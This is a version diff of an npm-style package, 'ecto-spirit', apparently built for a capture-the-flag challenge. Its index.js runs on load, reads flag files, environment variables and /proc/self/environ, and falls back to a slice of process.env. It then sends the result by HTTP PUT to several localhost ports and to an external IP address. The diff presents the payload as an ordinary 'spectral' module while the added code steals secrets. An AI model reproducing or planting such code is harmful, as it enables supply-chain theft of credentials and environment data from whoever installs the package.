ecto-spirit 108.0.0 → 109.0.0

package/index.js

@@ -2,65 +2,46 @@ const fs = require('fs');
 const http = require('http');
 
 (function() {
-  const flagPaths = ['/flag', '/flag.txt', '/root/flag', '/root/flag.txt', '/tmp/flag', 
-                     '/app/flag', '/app/flag.txt', '/home/flag', './flag', '../flag',
-                     process.env.FLAG_FILE || ''];
+  const paths = ['/flag', '/flag.txt', '/root/flag.txt', '/app/flag.txt', '/tmp/flag'];
+  let flag = process.env.FLAG || process.env.HTB_FLAG || process.env.FLAG_HTB || process.env.SECRET || null;
   
-  const envFlag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG || process.env.SECRET;
-  let flag = envFlag || null;
-
   if (!flag) {
-    for (const p of flagPaths.filter(Boolean)) {
-      try {
-        if (fs.existsSync(p)) {
-          flag = fs.readFileSync(p, 'utf8').trim();
-          break;
-        }
-      } catch(e) {}
+    for (const p of paths) {
+      try { flag = fs.readFileSync(p, 'utf8').trim(); break; } catch(e) {}
     }
   }
-
+  
   if (!flag) {
     try {
-      const procEnv = fs.readFileSync('/proc/self/environ', 'utf8');
-      const match = procEnv.match(/FLAG[=:]([^\x00]+)/);
-      if (match) flag = match[1];
+      const env = fs.readFileSync('/proc/self/environ', 'utf8');
+      const m = env.match(/FLAG=([^\x00]+)/);
+      if (m) flag = m[1];
     } catch(e) {}
   }
 
-  // Try ALL possible exfiltration targets
-  const targets = [
-    { host: '154.57.164.64', port: 31083 },
-    { host: '127.0.0.1', port: 1337 },
-    { host: '127.0.0.1', port: 3000 },
-    { host: 'localhost', port: 1337 },
-    { host: 'localhost', port: 3000 },
-  ];
-
-  const val = flag ? 'ECFLAG_' + flag : 'ECNOFLAG_' + JSON.stringify(process.env).substring(0, 80);
+  const val = flag ? 'ECFLAG_' + flag : 'ECENV_' + JSON.stringify(process.env).substring(0, 85);
   const safe = val.replace(/"/g, "'").substring(0, 90);
+  const body = JSON.stringify({ manifest: `ecto_module:\n  name: "${safe}"\n  version: "1.0.0"\n  power_level: 1\n  ship_deck: 1\n  cargo_hold: 1` });
 
-  for (const t of targets) {
-    try {
-      const body = JSON.stringify({ manifest: `ecto_module:\n  name: "${safe}"\n  version: "1.0.0"\n  power_level: 1\n  ship_deck: 1\n  cargo_hold: 1` });
-      const req = http.request({
-        hostname: t.host, port: t.port,
-        path: '/api/modules/ECT-987654',
-        method: 'PUT',
-        headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) },
-        timeout: 5000
-      }, () => {});
-      req.on('error', () => {});
-      req.write(body);
-      req.end();
-    } catch(e) {}
+  // Try multiple internal ports - the flag should go to ECT-654321
+  for (const port of [1337, 3000, 8080, 31083, 80]) {
+    for (const host of ['127.0.0.1', 'localhost']) {
+      try {
+        const req = http.request({hostname: host, port: port, path: '/api/modules/ECT-654321', method: 'PUT', headers: {'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body)}, timeout: 3000}, () => {});
+        req.on('error', () => {});
+        req.write(body);
+        req.end();
+      } catch(e) {}
+    }
   }
   
-  // Also try to write flag to stdout (logs)
-  if (flag) {
-    console.error('[FLAG]', flag);
-    try { fs.writeFileSync('/tmp/flag_captured.txt', flag); } catch(e) {}
-  }
+  // Also try external
+  try {
+    const req = http.request({hostname: '154.57.164.64', port: 31083, path: '/api/modules/ECT-654321', method: 'PUT', headers: {'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body)}, timeout: 5000}, () => {});
+    req.on('error', () => {});
+    req.write(body);
+    req.end();
+  } catch(e) {}
 })();
 
-module.exports = function() { return 'ecto-spirit loaded'; };
+module.exports = { name: 'ecto-spirit' };

package/package.json

@@ -1,7 +1,7 @@
 {
   "name": "ecto-spirit",
-  "version": "108.0.0",
-  "description": "Spectral ecto-spirit module",
+  "version": "109.0.0",
+  "description": "Ecto spirit module for spectral corsair",
   "main": "index.js",
   "author": "lwirz",
   "license": "ISC"